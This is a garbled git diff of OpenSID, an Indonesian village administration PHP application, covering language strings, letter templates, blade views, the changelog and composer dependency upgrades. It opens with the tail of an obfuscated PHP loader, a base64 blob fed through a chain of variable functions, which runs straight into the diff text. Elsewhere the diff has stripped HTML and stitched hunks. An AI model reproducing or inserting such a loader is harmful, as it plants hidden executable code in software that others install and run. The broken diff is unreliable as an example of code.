w59dc3wGp4BfybkRJ3xHH/Icv+KZEovXI9UgPgPWCzH77RfLS/IOyHN9yZne7xfUIBTPRX+feZcAOxd5V22qp+4KeQl70sd95d6La+ztkL2v83rcknMGFe18vN74jEK+r7ybi29CjHG+fPn4+4cPv/x91z//INcX8vtf8V///v2Sx5lnqzz4z2zCf33E///4P+m06cr/8eH233/vfx/ytPxXjnkoKf/9+/8C+CAcEA=='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/app/Services/Pelanggan.php b/app/Services/Pelanggan.php new file mode 100644 index 000000000..c2ea61c21 --- /dev/null +++ b/app/Services/Pelanggan.php @@ -0,0 +1,417 @@ +%d<\/i>", "fillHorizontal": "Isi sel secara horizontal", - "fillVertical": "Isi sel secara vertikal" + "fillVertical": "Isi sel secara vertikal", + "cancel": "Batal", + "info": "Info" }, "buttons": { "collection": "Kumpulan ", @@ -31,19 +31,27 @@ "colvisRestore": "Kembalikan visibilitas", "copy": "Salin", "copySuccess": { - "1": "1 baris disalin ke papan klip", - "_": "%d baris disalin ke papan klip" + "_": "%d baris disalin ke papan klip", + "1": "satu baris disalin ke papan klip" }, "copyTitle": "Salin ke Papan klip", "csv": "CSV", "excel": "Excel", "pageLength": { "-1": "Tampilkan semua baris", - "_": "Tampilkan %d baris" + "_": "Tampilkan %d baris", + "1": "Tampilkan satu baris" }, "pdf": "PDF", "print": "Cetak", - "copyKeys": "Tekan ctrl atau u2318 + C untuk menyalin tabel ke papan klip.

Untuk membatalkan, klik pesan ini atau tekan esc." + "copyKeys": "Tekan ctrl atau u2318 + C untuk menyalin tabel ke papan klip.

Untuk membatalkan, klik pesan ini atau tekan esc.", + "createState": "Tambahkan Data", + "removeAllStates": "Hapus Semua Data", + "removeState": "Hapus Data", + "renameState": "Rubah Nama", + "savedStates": "Simpan Data", + "stateRestore": "Pulihkan Data", + "updateState": "Perbaharui data" }, "searchBuilder": { "add": "Tambah Kondisi", @@ -76,7 +84,6 @@ "notEmpty": "Tidak kosong" }, "number": { - "between": "Diantara", "empty": "Kosong", "equals": "Sama dengan", "gt": "Lebih besar dari", @@ -84,17 +91,21 @@ "lt": "Lebih kecil dari", "lte": "Lebih kecil atau sama dengan", "not": "Tidak sama", - "notBetween": "Tidak diantara", - "notEmpty": "Tidak kosong" + "notEmpty": "Tidak kosong", + "between": "Di antara", + "notBetween": "Tidak di antara" }, "string": { "contains": "Berisi", "empty": "Kosong", "endsWith": "Diakhiri dengan", - "equals": "Sama Dengan", "not": "Tidak sama", "notEmpty": "Tidak kosong", - "startsWith": "Diawali dengan" + "startsWith": "Diawali dengan", + "equals": "Sama dengan", + "notContains": "Tidak Berisi", + "notStartsWith": "Tidak diawali Dengan", + "notEndsWith": "Tidak diakhiri Dengan" }, "array": { "equals": "Sama dengan", @@ -107,28 +118,20 @@ } }, "searchPanes": { - "clearMessage": "Bersihkan Semua", "count": "{total}", "countFiltered": "{shown} ({total})", - "title": "Filter Aktif - %d", "collapse": { "0": "Panel Pencarian", "_": "Panel Pencarian (%d)" }, "emptyPanes": "Tidak Ada Panel Pencarian", - "loadMessage": "Memuat Panel Pencarian" + "loadMessage": "Memuat Panel Pencarian", + "clearMessage": "Bersihkan", + "title": "Saringan Aktif - %d", + "showMessage": "Tampilkan", + "collapseMessage": "Ciutkan" }, "infoThousands": ",", - "select": { - "cells": { - "1": "1 sel terpilih", - "_": "%d sel terpilih" - }, - "columns": { - "1": "1 kolom terpilih", - "_": "%d kolom terpilih" - } - }, "datetime": { "previous": "Sebelumnya", "next": "Selanjutnya", @@ -194,5 +197,51 @@ "error": { "system": "Terjadi kesalahan pada system. (Informasi Selebihnya<\/a>)." } - } + }, + "stateRestore": { + "creationModal": { + "button": "Buat", + "columns": { + "search": "Pencarian Kolom", + "visible": "Visibilitas Kolom" + }, + "name": "Nama:", + "order": "Penyortiran", + "search": "Pencarian", + "select": "Pemilihan", + "title": "Buat State Baru", + "toggleLabel": "Termasuk:", + "paging": "Nomor Halaman", + "scroller": "Posisi Skrol", + "searchBuilder": "Cari Builder" + }, + "emptyError": "Nama tidak boleh kosong.", + "removeConfirm": "Apakah Anda yakin ingin menghapus %s?", + "removeJoiner": "dan", + "removeSubmit": "Hapus", + "renameButton": "Ganti Nama", + "renameLabel": "Nama Baru untuk %s:", + "duplicateError": "Nama State ini sudah ada.", + "emptyStates": "Tidak ada State yang disimpan.", + "removeError": "Gagal menghapus State.", + "removeTitle": "Penghapusan State", + "renameTitle": "Ganti nama State" + }, + "decimal": ",", + "searchPlaceholder": "kata kunci pencarian", + "select": { + "cells": { + "1": "1 sel dipilih", + "_": "%d sel dipilih" + }, + "columns": { + "1": "1 kolom dirpilih", + "_": "%d kolom dipilih" + }, + "rows": { + "1": "1 baris dipilih", + "_": "%d baris dipilih" + } + }, + "thousands": "." } \ No newline at end of file diff --git a/assets/import/template_surat_tinymce.json b/assets/import/template_surat_tinymce.json index ef23693e3..15c6e4907 100644 --- a/assets/import/template_surat_tinymce.json +++ b/assets/import/template_surat_tinymce.json @@ -1939,7 +1939,7 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

I. DATA KELURGA<\/strong><\/p>\r\n \r\n \r\n \r\n \r\n \r\n - + @@ -208,7 +208,7 @@ - + @@ -264,7 +264,7 @@ - + @@ -297,29 +297,29 @@
\u00a0<\/td>\r\n 1.<\/td>\r\n Nama Kepala Keluarga<\/td>\r\n :<\/td>\r\n [KePala_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 2.<\/td>\r\n Nomor Kartu Keluarga<\/td>\r\n :<\/td>\r\n [No_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 3.<\/td>\r\n Alamat Keluarga<\/td>\r\n :<\/td>\r\n [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n

II. DATA INDIVIDU<\/strong><\/p>\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n - + @@ -209,7 +209,7 @@ - + @@ -265,7 +265,7 @@ - + @@ -298,29 +298,29 @@
\u00a0<\/td>\r\n 1.<\/td>\r\n Nama Lengkap<\/td>\r\n :<\/td>\r\n [NAma]<\/strong><\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 2.<\/td>\r\n NIK<\/td>\r\n :<\/td>\r\n [NiK]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 3.<\/td>\r\n Alamat Sebelumnya<\/td>\r\n :<\/td>\r\n [AlAmat_sebelumnya]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 4.<\/td>\r\n Nomor Paspor<\/td>\r\n :<\/td>\r\n [DoKumen_pasport]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 5.<\/td>\r\n Tanggal Berakhir Paspor<\/td>\r\n :<\/td>\r\n [TaNggal_akhir_paspor]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 6.<\/td>\r\n Jenis Kelamin<\/td>\r\n :<\/td>\r\n [Jenis_kelamin]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 7.<\/td>\r\n Tempat Lahir<\/td>\r\n :<\/td>\r\n [TeMpatlahir]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 8.<\/td>\r\n Tanggal Lahir<\/td>\r\n :<\/td>\r\n [TtL]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 9.<\/td>\r\n Akta Kelahiran \/ Surat Kelahiran<\/td>\r\n :<\/td>\r\n [AkTa_lahir]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 10.<\/td>\r\n Golongan Darah<\/td>\r\n :<\/td>\r\n [GoL_darah]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 11.<\/td>\r\n Agama<\/td>\r\n :<\/td>\r\n [AgAma]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 12.<\/td>\r\n Status Perkawinan<\/td>\r\n :<\/td>\r\n [StAtus_kawin]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 13.<\/td>\r\n Akta Perkawinan \/ Buku Nikah<\/td>\r\n :<\/td>\r\n [AkTa_perkawinan]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 14.<\/td>\r\n Tanggal Akta Perkawinan \/ Buku Nikah<\/td>\r\n :<\/td>\r\n [TaNggalperkawinan]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 15.<\/td>\r\n Akta Perceraian<\/td>\r\n :<\/td>\r\n [AkTa_perceraian]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 16.<\/td>\r\n Tanggal Perceraian<\/td>\r\n :<\/td>\r\n [TaNggalperceraian]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 17.<\/td>\r\n Status Hubungan Dalam Keluarga<\/td>\r\n :<\/td>\r\n [HuBungan_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 18.<\/td>\r\n Kelainan Fisik \/ Mental<\/td>\r\n :<\/td>\r\n [CaCat]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 19.<\/td>\r\n Pendidikan Akhir<\/td>\r\n :<\/td>\r\n [PeNdidikan_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 20.<\/td>\r\n Pekerjaan<\/td>\r\n :<\/td>\r\n [PeKerjaan]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n

III. DATA ORANG TUA
<\/strong><\/p>\r\n \r\n \r\n \r\n \r\n \r\n \r\n - +
\u00a0<\/td>\r\n 1.<\/td>\r\n Nama Ibu<\/td>\r\n :<\/td>\r\n [Nama_ibu]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 2.<\/td>\r\n NIK Ibu<\/td>\r\n :<\/td>\r\n [nik_ibu]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 3.<\/td>\r\n Nama Ayah<\/td>\r\n :<\/td>\r\n [Nama_ayah]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 4.<\/td>\r\n NIK Ayah<\/td>\r\n :<\/td>\r\n [nik_ayah]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n

\u00a0<\/p>\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n - + diff --git a/resources/views/admin/database/backup.blade.php b/resources/views/admin/database/backup.blade.php index ecd75988a..e8a579443 100644 --- a/resources/views/admin/database/backup.blade.php +++ b/resources/views/admin/database/backup.blade.php @@ -119,7 +119,7 @@ class="btn btn-social btn-flat {{ $inkremental->status == '0' ? 'btn-warning' : @forelse($alias as $isian) - + @@ -57,6 +57,8 @@ class="btn btn-sm btn-flat btn-warning can-edit" modal.find(`.modal-body input`).val('') tinymce.get('editor-kodeisian').setContent('') modal.data('index', null) + modal.find('.modal-body input.judul_kode_isian').attr('maxlength', 20) + modal.find('.modal-body input.alias_kode_isian').attr('maxlength', 20) if (_btn.hasClass('can-edit')) { const _tr = _btn.closest('tr') modal.data('index', _tr.attr('data-index')) @@ -146,8 +148,8 @@ class="btn btn-sm btn-flat btn-warning can-edit" `).appendTo('#table-kodeisian-alias > tbody') diff --git a/resources/views/admin/pengurus/index.blade.php b/resources/views/admin/pengurus/index.blade.php index c065dfd1f..b04c979a9 100644 --- a/resources/views/admin/pengurus/index.blade.php +++ b/resources/views/admin/pengurus/index.blade.php @@ -2,30 +2,30 @@
@if (can('u')) Tambah +
+ Aksi Data Terpilih + +
@endif -
- Aksi Data Terpilih - -
Pilih Aksi Lainnya
+
+ +

{!! form_open(null, 'id="mainform" name="mainform"') !!} @@ -135,6 +142,7 @@ class="btn btn-social btn-block btn-sm aksi-terpilih" url: "{{ ci_route('pengurus.datatables') }}", data: function(req) { req.status = $('#status').val(); + req.kehadiran = $('#kehadiran').val(); } }, columns: [{ @@ -258,11 +266,18 @@ class: 'nowrap-left' TableData.draw() }) + // $('#kehadiran').select2().val(1).trigger('change'); + + $('#kehadiran').change(function() { + TableData.draw() + }) + if (hapus == 0) { TableData.column(1).visible(false); } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } diff --git a/resources/views/admin/program_bantuan/cetak.php b/resources/views/admin/program_bantuan/cetak.php new file mode 100644 index 000000000..8f0771fcf --- /dev/null +++ b/resources/views/admin/program_bantuan/cetak.php @@ -0,0 +1,96 @@ + + + + Laporan Peserta Program <?= $peserta[0]['nama']; ?> + + + + + +
+
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [NaMa_desa], [TgL_surat]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [Atas_namA]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [Nama_pamonG]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n
\u00a0<\/div>", + "template": "

[JUdul_surat]

\r\n

Nomor : [Format_nomor_suraT]

\r\n

I. DATA KELURGA

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
 1.Nama Kepala Keluarga:[KePala_kk]
 2.Nomor Kartu Keluarga:[No_kk]
 3.Alamat Keluarga:[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
\r\n

II. DATA INDIVIDU

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
 1.Nama Lengkap:[NAma]
 2.NIK:[NiK]
 3.Alamat Sebelumnya:[AlAmat_sebelumnya]
 4.Nomor Paspor:[DoKumen_pasport]
 5.Tanggal Berakhir Paspor:[TaNggal_akhir_paspor]
 6.Jenis Kelamin:[Jenis_kelamin]
 7.Tempat Lahir:[TeMpatlahir]
 8.Tanggal Lahir:[TtL]
 9.Akta Kelahiran / Surat Kelahiran:[AkTa_lahir]
 10.Golongan Darah:[GoL_darah]
 11.Agama:[AgAma]
 12.Status Perkawinan:[StAtus_kawin]
 13.Akta Perkawinan / Buku Nikah:[AkTa_perkawinan]
 14.Tanggal Akta Perkawinan / Buku Nikah:[TaNggalperkawinan]
 15.Akta Perceraian:[AkTa_perceraian]
 16.Tanggal Perceraian:[TaNggalperceraian]
 17.Status Hubungan Dalam Keluarga:[HuBungan_kk]
 18.Kelainan Fisik / Mental:[CaCat]
 19.Pendidikan Akhir:[PeNdidikan_kk]
 20.Pekerjaan:[PeKerjaan]
\r\n

III. DATA ORANG TUA

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
 1.Nama Ibu:[Nama_ibu]
 2.NIK Ibu:[nik_ibu]
 3.Nama Ayah:[Nama_ayah]
 4.NIK Ayah:[nik_ayah]
\r\n

 

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
  [NaMa_desa], [TgL_surat]
  [Atas_namA]
 



 
  [Nama_pamonG]
  [SEbutan_nip_desa] : [nip_pamong]
\r\n
 
", "template_desa": null, "form_isian": { "individu": { diff --git a/assets/js/script.js b/assets/js/script.js index 483548601..9bda223b7 100644 --- a/assets/js/script.js +++ b/assets/js/script.js @@ -37,14 +37,19 @@ $(document).ready(function() { }); $(function() { + var formModal = $(".modal form"); + $(document).on("keydown", ":input:not(textarea):not(:submit)", function(event) { - if (event.key === "Enter" && !$("#validasi").valid()) { - event.preventDefault(); - return false; + if (event.key === "Enter") { + if ((formModal.is(":visible") && !formModal.valid()) || !$("#validasi").valid()) { + event.preventDefault(); + return false; + } } }); }); + // Tombol reset semua $("button[type='reset']").on("click", function() { $($(this).closest("form")).trigger("reset") diff --git a/assets/kelola_file/init.php b/assets/kelola_file/init.php index bcec46974..5279e5a40 100644 --- a/assets/kelola_file/init.php +++ b/assets/kelola_file/init.php @@ -1,5 +1,5 @@ Pesan menggunakan ORM dan Blade. -5. [#7822](https://github.com/OpenSID/OpenSID/issues/7822) Penyesuaian modul Laporan Kelompok Rentan menggunakan ORM dan Blade. -6. [#7756](https://github.com/OpenSID/OpenSID/issues/7756) Penyesuaian modul Buku Agenda - Surat Masuk menggunakan ORM dan Blade. -7. [#7424](https://github.com/OpenSID/OpenSID/issues/7424) Penyesuaian modul Informasi Publik menggunakan ORM dan Blade. -8. [#7932](https://github.com/OpenSID/OpenSID/issues/7932) Penyesuaian dan optimasi pada query yang berulang. -9. [#7424](https://github.com/OpenSID/OpenSID/issues/7424) Penyesuaian modul OpenDK > Sinkronisasi menggunakan ORM dan Blade. -10. [#7916](https://github.com/OpenSID/OpenSID/issues/7916) Penyesuaian input nama rw dan rt bisa menggunakan huruf, angka, spasi dan strip. -11. [#7914](https://github.com/OpenSID/OpenSID/issues/7914) Penyesuaian data awal bawaan sistem modul analisis. -12. [#7941](https://github.com/OpenSID/OpenSID/issues/7941) Penyesuaian sebutan rentang umur. -13. [#7953](https://github.com/OpenSID/OpenSID/issues/7953) Penyesuaian agar input ceklist dapat dilakukan melalui labelnya pada halaman siteman. -14. [#7958](https://github.com/OpenSID/OpenSID/issues/7958) Penyesuaian tampilan dan fungsi simpan sebagai konsep pada surat layanan dan dinas. -15. [#7951](https://github.com/OpenSID/OpenSID/issues/7951) Perbaikan button tooltip donasi pengembangan OpenSID. -16. [#7814](https://github.com/OpenSID/OpenSID/issues/7814) Penyesuaian modul statistik > rentang umur menggunakan ORM dan Blade. -17. [#7964](https://github.com/OpenSID/OpenSID/issues/7964) Penyesuaian fungsi pindah posisi pada modul teks berjalan menggunakan dragable. -18. [#7999](https://github.com/OpenSID/OpenSID/issues/7999) Penyesuaian isian enum dengan tabel ref_penduduk_bahasa. +1. [#7757](https://github.com/OpenSID/OpenSID/issues/7757) Penyesuaian modul buku lembaran desa dan berita desa menggunakan ORM dan Blade. +1. [#7757](https://github.com/OpenSID/OpenSID/issues/7757) Penyesuaian modul buku lembaran desa dan berita desa menggunakan ORM dan Blade. +3. [#7410](https://github.com/OpenSID/OpenSID/issues/7410) Penyesuaian modul program bantuan menggunakan ORM dan Blade. +4. [#8041](https://github.com/OpenSID/OpenSID/issues/8041) Penyesuaian hak akses modul setting. +5. [#8044](https://github.com/OpenSID/OpenSID/issues/8044) Penyesuaian support php 8.1 dan hapus support php 7.4. +6. [#8081](https://github.com/OpenSID/OpenSID/issues/8081) Penyesuaian monolog error logging dan queue schedule. +7. [#7813](https://github.com/OpenSID/OpenSID/issues/7813) Penyesuaian modul layanan pelanggan desa menggunakan ORM dan Blade. +8. [#8029](https://github.com/OpenSID/OpenSID/issues/8029) Penyesuaian unggah file .gif pada modul widget. +9. [#8084](https://github.com/OpenSID/OpenSID/issues/8084) Penyesuaian judul pada foto tambahan produk lapak. #### KEAMANAN -1. [#7906](https://github.com/OpenSID/OpenSID/issues/7906) Peningkatan keamanan terkait ubah/hapus data yang memiliki file. +1. diff --git a/composer.json b/composer.json index 6212397fe..0bd9a6e14 100644 --- a/composer.json +++ b/composer.json @@ -8,45 +8,49 @@ "sistem-informasi-desa" ], "require": { - "php": "^7.4 || ^8.0", + "php": "^8.1", "codeigniter/framework": "^3.1", - "cviebrock/eloquent-sluggable": "^8.0", + "cviebrock/eloquent-sluggable": "^10.0", + "doctrine/dbal": "3.7.0", + "dragonmantank/cron-expression": "^3.3", "edwinhoksberg/php-fcm": "^1.2", "erusev/parsedown": "^1.7", "google/apiclient": "^2.11", - "illuminate/cache": "^8.83", - "illuminate/collections": "^8.83", - "illuminate/config": "^8.83", - "illuminate/console": "^8.83", - "illuminate/database": "^8.78", - "illuminate/encryption": "^8.83", - "illuminate/events": "^8.83", - "illuminate/filesystem": "^8.83", - "illuminate/hashing": "^8.83", - "illuminate/http": "^8.83", - "illuminate/macroable": "^8.83", - "illuminate/pagination": "^8.83", - "illuminate/queue": "^8.83", - "illuminate/support": "^8.83", - "illuminate/view": "^8.79", + "illuminate/cache": "^10.0", + "illuminate/collections": "^10.0", + "illuminate/config": "^10.0", + "illuminate/console": "^10.0", + "illuminate/database": "^10.0", + "illuminate/encryption": "^10.0", + "illuminate/events": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/hashing": "^10.0", + "illuminate/http": "^10.0", + "illuminate/log": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/pagination": "^10.0", + "illuminate/queue": "^10.0", + "illuminate/support": "^10.0", + "illuminate/view": "^10.0", "karriere/pdf-merge": "^2.1", "laravel/helpers": "^1.7", - "league/flysystem": "^1.1", + "league/flysystem": "^3.8.0", "mike42/escpos-php": "^3.0", "opensid/router": "^2403", - "openspout/openspout": "^3.7", + "openspout/openspout": "^4.24", "ramsey/uuid": "^4.2", - "rap2hpoutre/fast-excel": "^4.1", - "rennokki/laravel-eloquent-query-cache": "3.3.0", + "rap2hpoutre/fast-excel": "^5.5", + "rennokki/laravel-eloquent-query-cache": "^3.4", "slowprog/composer-copy-file": "^0.3.3", - "spatie/eloquent-sortable": "^3.11", + "spatie/eloquent-sortable": "^4.3", "spipu/html2pdf": "^5.2", - "symfony/process": "^5.4", - "symfony/var-dumper": "^5.4", + "symfony/console": "^6.1", + "symfony/process": "^6.1", + "symfony/var-dumper": "^6.1", "themes/esensi": "^2405", "themes/natra": "^2405", "voku/anti-xss": "^4.1", - "yajra/laravel-datatables-oracle": "^9.21" + "yajra/laravel-datatables-oracle": "^10.11" }, "require-dev": { "ergebnis/composer-normalize": "^2.42", diff --git a/composer.lock b/composer.lock index b6dadac83..c9d7f675d 100644 --- a/composer.lock +++ b/composer.lock @@ -4,30 +4,29 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "826c9357eda5b6aa81c599b8f12a4479", + "content-hash": "4473d993cc7fc79ac1f039ef783a716d", "packages": [ { "name": "brick/math", - "version": "0.9.3", + "version": "0.12.1", "source": { "type": "git", "url": "https://github.com/brick/math.git", - "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae" + "reference": "f510c0a40911935b77b86859eb5223d58d660df1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/brick/math/zipball/ca57d18f028f84f777b2168cd1911b0dee2343ae", - "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae", + "url": "https://api.github.com/repos/brick/math/zipball/f510c0a40911935b77b86859eb5223d58d660df1", + "reference": "f510c0a40911935b77b86859eb5223d58d660df1", "shasum": "" }, "require": { - "ext-json": "*", - "php": "^7.1 || ^8.0" + "php": "^8.1" }, "require-dev": { "php-coveralls/php-coveralls": "^2.2", - "phpunit/phpunit": "^7.5.15 || ^8.5 || ^9.0", - "vimeo/psalm": "4.9.2" + "phpunit/phpunit": "^10.1", + "vimeo/psalm": "5.16.0" }, "type": "library", "autoload": { @@ -47,24 +46,25 @@ "arithmetic", "bigdecimal", "bignum", + "bignumber", "brick", - "math" + "decimal", + "integer", + "math", + "mathematics", + "rational" ], "support": { "issues": "https://github.com/brick/math/issues", - "source": "https://github.com/brick/math/tree/0.9.3" + "source": "https://github.com/brick/math/tree/0.12.1" }, "funding": [ { "url": "https://github.com/BenMorel", "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/brick/math", - "type": "tidelift" } ], - "time": "2021-08-15T20:50:18+00:00" + "time": "2023-11-29T23:19:16+00:00" }, { "name": "carbonphp/carbon-doctrine-types", @@ -137,21 +137,21 @@ }, { "name": "cocur/slugify", - "version": "v4.5.0", + "version": "v4.5.1", "source": { "type": "git", "url": "https://github.com/cocur/slugify.git", - "reference": "af8e6ee771458bf885f7457807b5ff9bad8743cb" + "reference": "7c6e088228b9f082050876ae8b0cd287b117b840" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/cocur/slugify/zipball/af8e6ee771458bf885f7457807b5ff9bad8743cb", - "reference": "af8e6ee771458bf885f7457807b5ff9bad8743cb", + "url": "https://api.github.com/repos/cocur/slugify/zipball/7c6e088228b9f082050876ae8b0cd287b117b840", + "reference": "7c6e088228b9f082050876ae8b0cd287b117b840", "shasum": "" }, "require": { "ext-mbstring": "*", - "php": "^7.1 || ~8.0.0 || ~8.1.0 || ~8.2.0" + "php": "~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" }, "conflict": { "symfony/config": "<3.4 || >=4,<4.3", @@ -205,9 +205,9 @@ ], "support": { "issues": "https://github.com/cocur/slugify/issues", - "source": "https://github.com/cocur/slugify/tree/v4.5.0" + "source": "https://github.com/cocur/slugify/tree/v4.5.1" }, - "time": "2023-09-16T10:10:53+00:00" + "time": "2023-09-17T07:26:20+00:00" }, { "name": "codeigniter/framework", @@ -251,31 +251,30 @@ }, { "name": "cviebrock/eloquent-sluggable", - "version": "8.0.8", + "version": "10.0.0", "source": { "type": "git", "url": "https://github.com/cviebrock/eloquent-sluggable.git", - "reference": "16e21db24d80180f870c3c7c4faf3d3af23f4117" + "reference": "92f456b10337ca97c1cccfcc853a1cf51d2cedd0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/cviebrock/eloquent-sluggable/zipball/16e21db24d80180f870c3c7c4faf3d3af23f4117", - "reference": "16e21db24d80180f870c3c7c4faf3d3af23f4117", + "url": "https://api.github.com/repos/cviebrock/eloquent-sluggable/zipball/92f456b10337ca97c1cccfcc853a1cf51d2cedd0", + "reference": "92f456b10337ca97c1cccfcc853a1cf51d2cedd0", "shasum": "" }, "require": { - "cocur/slugify": "^4.0", - "illuminate/config": "^8.0", - "illuminate/database": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "cocur/slugify": "^4.3", + "illuminate/config": "^10.0", + "illuminate/database": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "require-dev": { "limedeck/phpunit-detailed-printer": "^6.0", - "mockery/mockery": "^1.4.2", - "orchestra/database": "^6.0", - "orchestra/testbench": "^6.0", - "phpunit/phpunit": "^9.4" + "mockery/mockery": "^1.4.4", + "orchestra/testbench": "^8.0", + "pestphp/pest": "2.x-dev" }, "type": "library", "extra": { @@ -312,7 +311,7 @@ ], "support": { "issues": "https://github.com/cviebrock/eloquent-sluggable/issues", - "source": "https://github.com/cviebrock/eloquent-sluggable/tree/8.0.8" + "source": "https://github.com/cviebrock/eloquent-sluggable/tree/10.0.0" }, "funding": [ { @@ -320,7 +319,351 @@ "type": "github" } ], - "time": "2021-06-12T01:05:33+00:00" + "time": "2023-02-16T23:01:35+00:00" + }, + { + "name": "doctrine/cache", + "version": "2.2.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/cache.git", + "reference": "1ca8f21980e770095a31456042471a57bc4c68fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/cache/zipball/1ca8f21980e770095a31456042471a57bc4c68fb", + "reference": "1ca8f21980e770095a31456042471a57bc4c68fb", + "shasum": "" + }, + "require": { + "php": "~7.1 || ^8.0" + }, + "conflict": { + "doctrine/common": ">2.2,<2.4" + }, + "require-dev": { + "cache/integration-tests": "dev-master", + "doctrine/coding-standard": "^9", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", + "psr/cache": "^1.0 || ^2.0 || ^3.0", + "symfony/cache": "^4.4 || ^5.4 || ^6", + "symfony/var-exporter": "^4.4 || ^5.4 || ^6" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Cache\\": "lib/Doctrine/Common/Cache" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": 